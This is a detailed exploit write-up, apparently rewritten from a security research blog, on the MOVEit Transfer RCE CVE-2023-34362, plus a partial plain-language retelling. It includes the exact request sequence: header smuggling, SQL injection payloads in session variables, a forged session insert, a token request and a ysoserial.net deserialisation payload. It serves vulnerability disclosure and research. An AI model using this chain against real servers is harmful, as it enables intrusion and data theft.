MOVEIt Transfer RCE Part Two (CVE-2023-34362)
The MOVEit Transfer web application contained a SQL injection reachable through a header-smuggling trick that let an attacker set unsanitised session variables, which were later concatenated into a database query. An attacker could use this to run arbitrary SQL, insert a forged active session, obtain an API token and then attempt to abuse the resumable file upload feature, though uploaded files were encrypted on disk.
blog.assetnote.io
Published on blog.assetnote.io
In our last post we detailed our initial work reversing the recent Progress MOVEit Transfer remote code execution vulnerability as well as our proof-of-concept demonstrating the exploit. We implemented checks in our Attack Surface Management platform providing our customers with assurance on whether or not they are…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Progress MOVEit Transfer is a managed file transfer application. The vulnerability discussed here is the remote code execution flaw tracked as CVE-2023-34362. This post is the second part of a series: the first part covered reversing the patch and building a proof of concept, and this part walks through the full exploit chain now that a public proof of concept exists.
The entry point is a request to /MOVEitISAPI/MOVEitISAPI.dll?action=m2, which passes the request through to /machine2.aspx. From logs that had been posted online, the researchers also knew that later requests in the chain touched these endpoints:
- POST /guestaccess.aspx
- POST /api/v1/token
- GET /api/v1/folders
- POST /api/v1/folders/{id}/files?uploadType=resumable
- PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}
The goal was to turn a SQL injection into remote code execution through the API.
Setup
The researchers had a working instance of MOVEit Transfer. The tooling used was Ghidra for decompiling MOVEitISAPI.dll, BinDiff for comparing the patched and unpatched builds, dnSpy for analysing the .NET code (including its analyzer for finding where methods and fields are used), a debugger for stepping through request handling, and ysoserial.net for generating the deserialisation payload. No specific version numbers are given in the post.
Finding it
The ISAPI filter
Decompiling MOVEitISAPI.dll with Ghidra and diffing the patched and unpatched versions with BinDiff showed no discernible differences. The conclusion was that the SQL injection was most likely not in the DLL, but the code still had to be understood to call the endpoint correctly. Searching for machine2 found the string Passing along user's request to machine2.
The enclosing function read a header named X-siLock-Transaction and compared its value with folder_add_by_path. That comparison was the only way to reach the pass-through message; anything else produced Illegal transaction.
local_48 = DAT_180aec878 ^ (ulonglong)auStack_998;
local_930 = param_2;
FUN_1800704e0(param_3,"X-siLock-Transaction",local_8c8 + 0x40,0x40);
iVar3 = FUN_1804da72c(local_8c8 + 0x40,"folder_add_by_path");
iVar12 = 0;
if (iVar3 == 0) {
local_948[0] = 0;
FUN_1800d8d10(param_1 + 0x22e28);
local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
local_978 = (longlong *)local_848;
iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
while (iVar3 != 0) {
iVar3 = FUN_1804da72c(local_8c8,"Cookie");
if ((iVar3 == 0) || (iVar3 = FUN_1800f4710(local_8c8,"X-siLock-"), iVar3 != 0)) {
FUN_18007fe00(param_1,local_8c8,local_848);
}
local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
local_978 = (longlong *)local_848;
iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
}
...
FUN_1800d8520(0x3c,"Passing along user\'s request to machine2");
...
} else {
uVar8 = FUN_1804daf20(0x7e4,&local_8e8,10);
FUN_180080270(param_1,"X-siLock-ErrorCode",uVar8);
FUN_180080270(param_1,"X-siLock-ErrorDescription","Illegal transaction");
}
That detail matters later.
machine2.aspx and CrackInput
The page handler for /machine2.aspx simply calls Machine2Main on SILMachine2.
protected void Page_Load(object sender, EventArgs e)
{
SILMachine2 silmachine = new SILMachine2();
HttpRequest request = base.Request;
HttpResponse response = base.Response;
HttpSessionState session = this.Session;
HttpApplicationState application = base.Application;
silmachine.Machine2Main(ref request, ref response, ref session, ref application);
}
Inside Machine2Main, CrackInput extracts the X-siLock-* headers. It uses two sanitisation methods, GetHeaderValForSQL and SILUtility.XHTMLClean, and both were found sufficient to prevent injection. The one value that was not sanitised, X-siLock-Transaction, was not used in any SQL query.
private bool CrackInput(string ServerVars)
{
bool flag = true;
string text = "X-siLock-Transaction";
this.InputTransaction = this.GetHeaderValue(ref ServerVars, ref text);
text = "X-siLock-Username";
this.InputLoginName = this.GetHeaderValForSQL(ref ServerVars, ref text);
text = "X-siLock-Password";
this.InputPassword = this.GetHeaderValForSQL(ref ServerVars, ref text);
text = "X-siLock-Challenge";
this.InputChallenge = this.GetHeaderValForSQL(ref ServerVars, ref text);
...
DoTransaction, near the end of Machine2Main, is reachable with a valid session cookie, including a guest session. It switches on the transaction name, but the ISAPI restriction meant the only transaction that could be executed was folder_add_by_path.
if (Operators.CompareString(inputTransaction, "folder_add_by_path", false) != 0)
{
goto IL_947;
}
flag = true;
IFolderEngine folderEngine = this.siGlobs.objEngine.folderEngine;
string inputFolderPath2 = this.InputFolderPath;
bool flag9 = false;
int num4 = 2;
List<string> list = null;
List<string> list2 = null;
this.ReplyFolderID = folderEngine.FolderAddByPath(inputFolderPath2, flag9, num4, ref list, ref list2, true, false);
goto IL_97E;
FolderAddByPath was explored without finding a route to SQL injection: inputs were either sanitised while building the query or came from headers sanitised by CrackInput.
The removed method
Part one had noted that the patch removed SetAllSessionVarsFromHeaders, which is called when processing the session_setvars transaction. It takes raw input like CrackInput but performs no sanitisation. Any header beginning with X-siLock-SessVar and containing KEY: VALUE becomes a session variable.
public bool SetAllSessionVarsFromHeaders(string ServerVars)
{
bool flag = true;
string[] array = Strings.Split(ServerVars, "\r\n", -1, CompareMethod.Binary);
int num = Strings.Len("X-siLock-SessVar");
int num2 = Information.LBound(array, 1);
int num3 = Information.UBound(array, 1);
checked
{
for (int i = num2; i <= num3; i++)
{
if (Operators.CompareString(Strings.Left(array[i], num), "X-siLock-SessVar", false) == 0)
{
int num4 = array[i].IndexOf(':', num);
if (num4 >= 0)
{
int num5 = array[i].IndexOf(':', 1 + num4);
if (num5 > 0)
{
string text = array[i].Substring(2 + num4, num5 - num4 - 2);
string text2 = array[i].Substring(2 + num5);
this.SetValue(text, text2);
}
}
}
}
return flag;
}
}
Smuggling the transaction
By sending two X-siLock-Transaction headers, one with a prefix and one without, the researchers were able to smuggle a header through. The prefixed header satisfies the ISAPI filter, and only the unprefixed one is copied downstream, so machine2.aspx sees session_setvars.
POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: [redacted]
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: KEY: VALUE
Cookie: ASP.NET_SessionId=mbmku5wyybymnaimli40bg2a; siLockLongTermInstID=0
Content-Length: 0
With this, arbitrary SQL could be placed in session variables. The remaining task was to find a place where one of those variables reaches an unsanitised SQL query. dnSpy's analyzer was used to list every use of the database query methods, and the calls were reviewed for injectable ones, focusing on session handling and machine2.aspx code paths.
The injectable query in guestaccess.aspx
The handler for /guestaccess.aspx contained a query that looked injectable:
if (this.m_pkginfo.IsSelfProvisioned)
{
this.siGlobs.objWrap.DoUpdateQuery(
"UPDATE guestfileaccess SET Viewed=1 WHERE AccessCode='" +
this.m_accesscode +
"'",
null
);
this.m_gotoselfprovisiondone = true;
this.siGlobs.objUser.RemoveSession();
this.ClearVariables();
return;
}
m_accesscode comes from LoadFromSession in SILGuestPackageInfo, which reads MyPkgAccessCode from the session. The same method also sets IsSelfProvisioned when MyPkgID equals 0.
public void LoadFromSession()
{
this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");
this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");
this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");
this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");
this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");
this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0;
this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");
this.Viewed = ((-((SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) > false) ? 1 : 0)) ? 1 : 0);
}
LoadFromSession runs at the start of the handler, while the injection point is several hundred lines later. The researchers attached a debugger, set a breakpoint just after LoadFromSession, set MyPkgAccessCode in the request and stepped through, adjusting the request each time a check or missing value diverted execution.
The CSRF token
No request in the history had returned a CSRF token. Looking at the calls that generate one (GetCT), one was found on guestaccess.aspx. It required a specific value of m_nextform, which is set as follows:
else if (Operators.CompareString(this.m_accesscode, string.Empty, false) == 0)
{
this.m_nextform = "promptaccesscode";
}
else if (Operators.CompareString(this.m_validationcode, string.Empty, false) == 0)
{
this.m_nextform = "promptpassword";
}
else if (Operators.CompareString(this.siGlobs.Arg12, string.Empty, false) == 0 || Operators.CompareString(this.siGlobs.Arg12, "message", false) == 0)
{
this.m_nextform = "pkgview";
}
else
{
this.m_nextform = this.siGlobs.Arg12;
}
Arg12 is set straight from the form parameters, so a POST body containing arg12=promptaccesscode produced a response with the CSRF token.
The notification check
Right before the injection point, the handler calls MsgPostForGuest:
string text3 = this.siGlobs.objEngine.msgEngine.MsgPostForGuest(
ref this.m_pkginfo,
ref this.siGlobs.Arg01,
ref cleanedMessage,
ref this.siGlobs.Arg09,
ref this.siGlobs.Arg08,
ref this.siGlobs.Opt19,
num
);
This is over a thousand lines that assemble and send a notification about the accessed package. Some checks were trivial, such as setting a subject and a from address resembling a valid email. The hard requirement was the session variable MyPkgSelfProvisionedRecips, which had to contain a comma separated list of email addresses. Those addresses are used to look up usernames in the database, and if no valid users are found no notification is sent and the injection point is never reached.
The lookup query, with [redacted] as the address, looks like this:
SELECT
Username, Permission, LoginName, Email
FROM
users
WHERE
InstID=0 AND Deleted=0 AND Permission>=10 AND (
Email=
`Email` LIKE
`Email` LIKE
`Email` LIKE
)
ORDER BY
LoginName`
Using %.com% to match everything does not work, because every % is either preceded by or followed by a comma, presumably because the application stores multiple addresses as a comma separated list. Looking at how the query is built showed why:
object obj = NewLateBinding.LateGet(null, typeof(string), "Format", array = new object[]
{
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
"SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " ",
Interaction.IIf(bJustEndUsers, "AND Permission>=" + Conversions.ToString(10) + " ", "")
),
"AND "
),
"("
),
"Email='{2}' OR "
),
this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", true, false, true, false)
),
Interaction.IIf(bJustFirstEmail, "", " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", true, false, true, false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", true, false, true, false))
),
") "
),
"ORDER BY LoginName"
),
InstID,
this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
EmailAddress
}, null, null, array2 = new bool[]
{
default(bool),
true,
default(bool),
true
});
The LIKE operators are sanitised, but Email='{2}' OR is not. That gives stacked-query SQL injection here, constrained by the comma splitting of the recipient list. Rather than needing to know a real user's email, the researchers built a query that returns the first non-deleted user:
SELECT
Username, Permission, LoginName, Email
FROM
users
WHERE
InstID=0 AND Deleted=0 AND Permission>=10 AND (Email='x' or 1=1)
LIMIT 1;
``-- a' OR Email LIKE 'x' or 1=1) LIMIT 1; -- a,%' OR Email LIKE '%,x' or 1=1) LIMIT 1; -- a' OR Email LIKE '%,x' or 1=1) LIMIT 1; -- a,%' ) ORDER BY LoginName```
Exploitation
Step 1: stacked query through the session variables
The first stacked query updates the notes field of the sysadmin user. The request sets the session variables through the smuggled session_setvars transaction.
POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: [redacted]
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: MyUsername: Guest
X-siLock-SessVar2: MyPkgValidationCode: 1
X-siLock-SessVar3: MyInstMessaging: 1
X-siLock-SessVar4: MyGuestEmailAddr: [redacted]
X-siLock-SessVar5: MyPkgID: 0
X-siLock-SessVar6: MyPkgSelfProvisionedRecips: x' or 1=1) LIMIT 1; -- a
X-siLock-SessVar7: MyPkgAccessCode: 1'; update users set notes='pwned' where loginname='sysadmin'; -- a
Cookie: ASP.NET_SessionId=21ts1wiqbftjbjqjbrnjbuxj; siLockLongTermInstID=0
Content-Length: 0
MyPkgID: 0 makes the package self-provisioned, so the vulnerable UPDATE runs. MyPkgSelfProvisionedRecips satisfies the notification lookup with or 1=1) LIMIT 1, and MyPkgAccessCode carries the stacked UPDATE. Checking the database confirmed it:
mysql> select notes,loginname from users;
+
| notes | loginname |
+
| | admin |
| pwned | sysadmin |
+
2 rows in set (0.00 sec)
Step 2: obtaining an API token
The /api/v1/token documentation lists five grant types: password, refresh_token, otp, code and external_token. The implementation has an unlisted one, GrantSessionToken, which is far more useful with SQL injection.
public override async Task GrantCustomExtension(OAuthGrantCustomExtensionContext context)
{
await this._container.RunAsync(delegate
{
if (MOVEitAuthorizationServerProvider.IsSessionGrantType(context))
{
this.GrantSessionToken(context);
return;
}
if (MOVEitAuthorizationServerProvider.IsOtpGrantType(context))
{
this.GrantOtpToken(context);
return;
}
if (MOVEitAuthorizationServerProvider.IsCodeGrantType(context))
{
this.GrantAuthorizationCodeToken(context);
return;
}
if (MOVEitAuthorizationServerProvider.IsExternalTokenGrantType(context))
{
this.GrantTokenFromExternalToken(context);
return;
}
context.SetError("invalid_grant");
});
}
That path runs a query against activesessions to check whether the session is valid:
SILDictionary<string, string> sildictionary =
new SQLBasicBuilder(this.siGlobs.objWrap, SqlTable.ActiveSessions)
.AddAllColumnsToSelect()
.AddAndColumnEqualsToWhere<string>(SqlTable.ActiveSessions, "SessionID", trySessionId, true, "")
.AddAndColumnEqualsToWhere<int>(SqlTable.ActiveSessions, "Remove", 0, false, "")
.AddAndToWhere("LastTouch > TIMESTAMPADD(MINUTE, -Timeout, CURRENT_TIMESTAMP)")
.SetLimit(1)
.SelectQueryRow();
So a row is needed in activesessions matching the current session ID and not expired. A new session was created and the following query run through the SQL injection:
insert into activesessions (
SessionID,
Username,
LoginName,
LastTouch,
InterfaceCode,
IPAddress
) values (
'sv3b3drb2turhcxna00kewh1',
(select username from users where loginname='sysadmin'),
'sysadmin',
'2023-12-30',
6,
'[redacted]'
);
The username value is randomly generated, so it is fetched with a subquery:
(select username from users where loginname='sysadmin')
InterfaceCode and IPAddress are needed for later checks on whether the session is valid for the request. Their values were found the same way as the notification recipients: with a debugger, stepping through and adjusting the request until the desired branch was reached.
With the row in place, the token request was sent. Username and password are required but ignored.
POST /api/v1/token HTTP/1.1
Host: [redacted]
Connection: close
Cookie: ASP.NET_SessionId=sv3b3drb2turhcxna00kewh1; siLockLongTermInstID=0
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
username=x&password=x&grant_type=session
HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Expires: -1
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
X-Robots-Tag: noindex
Date: Fri, 09 Jun 2023 06:04:27 GMT
Connection: close
Content-Length: 826
{"access_token":"[redacted]","token_type":"bearer","expires_in":1199,"refresh_token":"[redacted]"}
The response is a bearer token valid for 1199 seconds, with a refresh token.
Step 3: resumable upload and the encrypted stream
The next step was to turn API access into code execution. The theory was that an attacker creates a resumable upload, uses SQL injection to change the upload's destination, and then continues the upload. The handler for the file content is:
[HttpPut]
[Route("{Id}/files", Name = "FolderUploadFilePart")]
[ApiExplorerSettings(IgnoreApi = true)]
public async Task<IHttpActionResult> UploadFilePart([FromUri] FolderUploadFilePartRequest request)
{
IEnumerable<string> enumerable;
if (base.Request.Headers.TryGetValues("X-File-Hash", out enumerable))
{
request.FileHash = enumerable.First<string>();
}
HttpContent content = this._bufferlessContentProvider.GetContent(base.Request);
if (content.Headers.ContentLength != null)
{
request.ChunkSize = content.Headers.ContentLength.Value;
}
IEnumerable<string> enumerable2;
if (content.Headers.TryGetValues("Content-Range", out enumerable2))
{
ContentRangeHeaderValue contentRangeHeaderValue;
ContentRangeHeaderValue.TryParse(enumerable2.First<string>(), out contentRangeHeaderValue);
request.UploadRange = contentRangeHeaderValue;
}
using (Stream stream = this._resumableUploadFilePartHandler.GetUploadStream(request))
{
if (stream != Stream.Null)
{
await base.Request.Content.CopyToAsync(stream);
}
}
The interesting call is GetUploadStream. Controlling the output file would allow writing a payload into the webroot, but the stream is created like this:
private FileTransferStream CreateFileUploadStream(DataFilePath filePath)
{
return new FileTransferStream(
filePath,
EncryptedStream.CryptoMode.Encryption,
this._fileSystemFactory
);
}
Files saved by resumable upload are always encrypted on disk, so controlling the destination would not lead to execution. However, DeserializeFileUploadStream creates a new stream only when _uploadState is empty; otherwise it deserialises one, which is an unsafe deserialisation route to code execution.
private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
{
if (this._uploadState.Length == 0)
{
return this.CreateFileUploadStream(filePath);
}
int num = 1;
...
BinaryFormatter binaryFormatter = new BinaryFormatter
{
Context = new StreamingContext(StreamingContextStates.All, fileHeaderStream)
};
FileTransferStream fileTransferStream;
using (MemoryStream memoryStream = new MemoryStream(this._uploadState))
{
fileTransferStream = (FileTransferStream)binaryFormatter.Deserialize(memoryStream);
}
return fileTransferStream;
}
dnSpy's analyzer showed only one place where _uploadState is assigned.
That place is GetFileUploadInfo:
private bool GetFileUploadInfo()
{
string tableNameAttribute = SqlTable.FileUploadInfo.GetTableNameAttribute();
string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute();
SILDictionary<string, string> sildictionary =
new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo)
.AddColumnToSelect(tableNameAttribute, "Comment")
.AddColumnToSelect(tableNameAttribute, "XferID")
.AddColumnToSelect(tableNameAttribute, "State")
.AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute + ".FileID")
.AddAndToWhere(tableNameAttribute + ".FileID='" + this._fileId + "'")
.AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'")
.SelectQueryRow();
if (sildictionary == null)
{
this.SetParameterError(3800, 90512, this._fileId);
return false;
}
this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(sildictionary["Comment"]);
this._xferId = long.Parse(sildictionary["XferID"]);
this._uploadState = Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(sildictionary["State"]));
return true;
}
_uploadState comes from the database, so SQL injection can set it, but the State field is encrypted. Rather than trying to bypass the encryption, the researchers looked for a place where the application encrypts data and stores it, so the value could simply be copied. Searching the calls to DBFieldEncrypt found one in CreateUploadInfo:
private void CreateUploadInfo()
{
DMLRecord dmlrecord = new DMLRecord(this._globals, SqlTable.FileUploadInfo);
dmlrecord.AddColumn("FileID", this._fileId, false);
dmlrecord.AddColumn("Comment", this._globals.objUtility.DBFieldEncrypt(this._comment), false);
dmlrecord.AddColumn("XferID", this._xferId, false);
dmlrecord.DoInsert();
}
The Comment field of the same table is encrypted too. Setting the comment to the payload when creating the resumable upload is enough; no extra endpoint is needed.
Step 4: the deserialisation payload
The payload was generated with ysoserial.net:
>ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "whoami > C:\x.txt"
AAEAAAD/////[redacted]==
The first request creates the resumable upload, with the payload in the comments field:
POST /api/v1/folders/964602477/files?uploadType=resumable HTTP/1.1
Host: [redacted]
Connection: close
Authorization: Bearer ...
Content-Length: 2374
Content-Type: multipart/form-data; boundary=[redacted]
--[redacted]
Content-Disposition: form-data; name="name"; filename="name"
x.txt
--[redacted]
Content-Disposition: form-data; name="comments"; filename="comments"
AAEAAAD
/////[redacted]==--[redacted]--
Step 5: copying the encrypted payload into the state
The following query was run through the SQL injection, copying the encrypted comment into the state field:
update fileuploadinfo set state=comment where fileid='966489702';
Step 6: triggering deserialisation
The final request continues the upload, which causes the state to be deserialised:
PUT /api/v1/folders/964602477/files?uploadType=resumable&fileId=966489702 HTTP/1.1
Host: [redacted]
Connection: close
Authorization: Bearer ...
Content-Range: bytes 0-1/10
Content-Length: 141
Content-Type: multipart/form-data; boundary=[redacted]
--[redacted]
Content-Disposition: form-data; name="file"; filename="file"
x
--[redacted]--
The result was checked and confirmed the exploit had worked.
Root cause
The chain combines several weaknesses:
SetAllSessionVarsFromHeaderscopies arbitraryX-siLock-SessVarheaders into session variables without sanitisation. The ISAPI filter forwards only headers that do not begin withX-siLock-, but a duplicate header with a prefix (XX-siLock-Transaction) satisfies the filter while the unprefixedX-siLock-Transactionis the one that reachesmachine2.aspx. This lets an attacker select thesession_setvarstransaction even though the filter only allowsfolder_add_by_path.guestaccess.aspxconcatenates the session valueMyPkgAccessCodeinto anUPDATEstatement without parameterisation, giving stacked-query SQL injection.- The notification lookup builds SQL with string concatenation. The LIKE fragments are escaped, but the
Email='{2}' ORfragment is not, which allows the recipient check to be satisfied withor 1=1) LIMIT 1. - The API token endpoint accepts an undocumented
sessiongrant type that trusts a row inactivesessions, which the SQL injection can insert. - The resumable upload handler deserialises the
Statecolumn withBinaryFormatterwhen it is non-empty. The column is encrypted, but the application itself encrypts theCommentfield on upload creation, so the attacker can have the application produce a valid encrypted payload and copy it with SQL injection.
Impact
An attacker with network access to the MOVEit Transfer instance can use the SQL injection to write to the database, insert an active session, obtain a bearer API token, and then trigger unsafe deserialisation through the resumable upload API, which leads to remote code execution as shown by the whoami payload. The post notes that the vulnerability was being actively exploited at the time of the first part, and that companies were still being hit when this part was published; the release of public proof-of-concepts could increase that.
Fix
The patch removed SetAllSessionVarsFromHeaders. The post points readers to Progress' bulletin for version and patch information.
Variants to test
- Duplicate-header smuggling: send a prefixed and an unprefixed copy of a header that a front-end filter blocks, and see whether the back end acts on the unprefixed value. A positive result is the back end processing a transaction or value the filter was meant to reject.
- Session variable injection: look for handlers that copy request headers into session state without sanitisation, then trace every session value into SQL, file paths or deserialisation. A positive result is a session value appearing unescaped in a query or a stream.
- Undocumented OAuth grant types: enumerate the grant types the token endpoint accepts beyond those documented, and check whether any of them trusts a database row or a session identifier. A positive result is a token issued for a session the attacker controls.
- Encrypted database fields: find fields that are decrypted and then deserialised or otherwise trusted, and look for an endpoint that encrypts attacker-controlled input into the same table. A positive result is a value the application encrypted for you being accepted where a trusted value is expected.
- Comma-split input in query builders: where a list is split on commas before being placed in a query, check whether any fragment around the split is concatenated without escaping. A positive result is a boolean or stacked query that changes the result set or the database.
What happened, in plain words
Progress MOVEit Transfer is a piece of software that companies install on their own servers so that staff and partners can send large files to each other securely. It runs a website that people log into, upload files to, and download files from. Because it sits on the internet and holds sensitive files, it is a tempting target.
In 2023 a serious flaw was found in it, tracked as CVE-2023-34362. The flaw let an attacker who could reach the website run their own commands on the server, which is called remote code execution, or RCE. This article is the second part of a series. The first part looked at the software update (the patch) that fixed the flaw and built a small demonstration of the attack. This part walks through the whole attack, step by step, now that a public demonstration exists.
The attack is a chain: a series of small steps, each one unlocking the next. It starts with a request to one web address, slips a hidden instruction past a filter, uses a database injection to change data, steals an API token, and finally abuses a file upload feature to make the server run a command. Each link is explained below from scratch.
The starting point and the map
The entry point is a request to this address:
/MOVEitISAPI/MOVEitISAPI.dll?action=m2
A URL is the address you type in a browser. The part after the question mark, action=m2, is a parameter: a named value the server reads. This particular address hands the request on to another page, /machine2.aspx. Think of it as a reception desk that forwards your enquiry to the right department.
From logs that had been posted online, the researchers also knew that later requests in the chain touched these endpoints. An endpoint is simply a specific address on a server that accepts a particular kind of request:
- POST /guestaccess.aspx
- POST /api/v1/token
- GET /api/v1/folders
- POST /api/v1/folders/{id}/files?uploadType=resumable
- PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}
POST, GET and PUT are HTTP methods. They are the verbs of the web: GET asks for something, POST sends something new, PUT sends an update. An API is a set of addresses meant for programs rather than people, so one piece of software can talk to another. The {id} in those addresses is a placeholder for a number that identifies a particular folder or file.
The goal was to turn a database injection into remote code execution through the API.
The tools used
The researchers had a working copy of MOVEit Transfer to test against. They used:
- Ghidra, a free tool that turns compiled programs back into readable code (decompiling).
- BinDiff, a tool that compares two versions of a program and highlights the differences.
- dnSpy, a tool for reading and stepping through .NET programs, which is the technology MOVEit Transfer is partly written in. It also has an analyzer that lists every place a particular method or field is used.
- A debugger, which lets you pause a running program and walk through it one line at a time.
- ysoserial.net, a tool that builds a special kind of malicious data blob used later in the chain.
No specific version numbers are given in the post.
Finding it
The ISAPI filter
An ISAPI filter is a small program that sits in front of a web application on Microsoft's web server, IIS, and inspects or modifies requests before they reach the application. Think of it as a security guard at the door who checks who comes in.
The researchers decompiled MOVEitISAPI.dll (a DLL is a library of code that a program loads) with Ghidra and compared the patched and unpatched versions with BinDiff. There were no discernible differences. That suggested the database injection was most likely not in this file. But the code still had to be understood, because the request had to be shaped correctly to get through it. Searching the code for machine2 found the string Passing along user's request to machine2.
The function around that string read a header named X-siLock-Transaction and compared its value with folder_add_by_path. A header is a small piece of extra information attached to a web request, like the label on a parcel. That comparison was the only way to reach the pass-through message; anything else produced Illegal transaction.
local_48 = DAT_180aec878 ^ (ulonglong)auStack_998;
local_930 = param_2;
FUN_1800704e0(param_3,"X-siLock-Transaction",local_8c8 + 0x40,0x40);
iVar3 = FUN_1804da72c(local_8c8 + 0x40,"folder_add_by_path");
iVar12 = 0;
if (iVar3 == 0) {
local_948[0] = 0;
FUN_1800d8d10(param_1 + 0x22e28);
local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
local_978 = (longlong *)local_848;
iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
while (iVar3 != 0) {
iVar3 = FUN_1804da72c(local_8c8,"Cookie");
if ((iVar3 == 0) || (iVar3 = FUN_1800f4710(local_8c8,"X-siLock-"), iVar3 != 0)) {
FUN_18007fe00(param_1,local_8c8,local_848);
}
local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
local_978 = (longlong *)local_848;
iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
}
...
FUN_1800d8520(0x3c,"Passing along user\'s request to machine2");
...
} else {
uVar8 = FUN_1804daf20(0x7e4,&local_8e8,10);
FUN_180080270(param_1,"X-siLock-ErrorCode",uVar8);
FUN_180080270(param_1,"X-siLock-ErrorDescription","Illegal transaction");
}
Line by line, in plain words:
- The first lines set up local variables and call a helper (
FUN_1800704e0) that reads the headerX-siLock-Transactioninto a buffer. FUN_1804da72ccompares that value withfolder_add_by_path. If they match, the code enters theifblock.- Inside the block, a loop walks through the request's headers one by one. For each header it checks whether the name is
Cookieor begins withX-siLock-. If it is neither, the header is copied onward (FUN_18007fe00). - When the loop finishes, the message
Passing along user's request to machine2is logged, and the request is forwarded. - If the transaction value did not match, the
elsebranch sets an error code and the descriptionIllegal transaction.
machine2.aspx and CrackInput
The page handler for /machine2.aspx simply calls Machine2Main on SILMachine2.
protected void Page_Load(object sender, EventArgs e)
{
SILMachine2 silmachine = new SILMachine2();
HttpRequest request = base.Request;
HttpResponse response = base.Response;
HttpSessionState session = this.Session;
HttpApplicationState application = base.Application;
silmachine.Machine2Main(ref request, ref response, ref session, ref application);
}
This is the code that runs when the page is loaded. It creates an object, gathers the incoming request, the outgoing response, the user's session and the application-wide state, and passes all four to Machine2Main. A session is the server's memory of who you are across several requests, usually tied to a cookie.
Inside Machine2Main, a method called CrackInput extracts the X-siLock-* headers. It uses two cleaning methods, GetHeaderValForSQL and SILUtility.XHTMLClean, and both were found sufficient to prevent injection. Injection here means tricking the program into treating part of your input as a command rather than as plain data. The one value that was not cleaned, X-siLock-Transaction, was not used in any SQL query.
private bool CrackInput(string ServerVars)
{
bool flag = true;
string text = "X-siLock-Transaction";
this.InputTransaction = this.GetHeaderValue(ref ServerVars, ref text);
text = "X-siLock-Username";
this.InputLoginName = this.GetHeaderValForSQL(ref ServerVars, ref text);
text = "X-siLock-Password";
this.InputPassword = this.GetHeaderValForSQL(ref ServerVars, ref text);
text = "X-siLock-Challenge";
this.InputChallenge = this.GetHeaderValForSQL(ref ServerVars, ref text);
...
Each pair of lines picks a header name and copies its value into a field. The transaction name is read raw; the username, password and challenge are read through the SQL-cleaning method. That is why the transaction value was safe from a database point of view even though it was not cleaned: it never reached a query.
DoTransaction, near the end of Machine2Main, is reachable with a valid session cookie, including a guest session. A cookie is a small piece of data your browser stores for a site and sends back with each request, like a wristband at an event that proves you are allowed in. DoTransaction switches on the transaction name, but the ISAPI restriction meant the only transaction that could be executed was folder_add_by_path.
if (Operators.CompareString(inputTransaction, "folder_add_by_path", false) != 0)
{
goto IL_947;
}
flag = true;
IFolderEngine folderEngine = this.siGlobs.objEngine.folderEngine;
string inputFolderPath2 = this.InputFolderPath;
bool flag9 = false;
int num4 = 2;
List<string> list = null;
List<string> list2 = null;
this.ReplyFolderID = folderEngine.FolderAddByPath(inputFolderPath2, flag9, num4, ref list, ref list2, true, false);
goto IL_97E;
If the transaction is not folder_add_by_path, the code jumps away and does nothing useful. If it is, it calls FolderAddByPath with the folder path from the request. FolderAddByPath was explored without finding a route to SQL injection: inputs were either cleaned while building the query or came from headers cleaned by CrackInput.
The removed method
Part one had noted that the patch removed a method called SetAllSessionVarsFromHeaders, which is called when processing the session_setvars transaction. It takes raw input like CrackInput but performs no cleaning at all. Any header beginning with X-siLock-SessVar and containing KEY: VALUE becomes a session variable. A session variable is a named value the server keeps for you during your visit, like a note in your file at a hotel reception.
public bool SetAllSessionVarsFromHeaders(string ServerVars)
{
bool flag = true;
string[] array = Strings.Split(ServerVars, "\r\n", -1, CompareMethod.Binary);
int num = Strings.Len("X-siLock-SessVar");
int num2 = Information.LBound(array, 1);
int num3 = Information.UBound(array, 1);
checked
{
for (int i = num2; i <= num3; i++)
{
if (Operators.CompareString(Strings.Left(array[i], num), "X-siLock-SessVar", false) == 0)
{
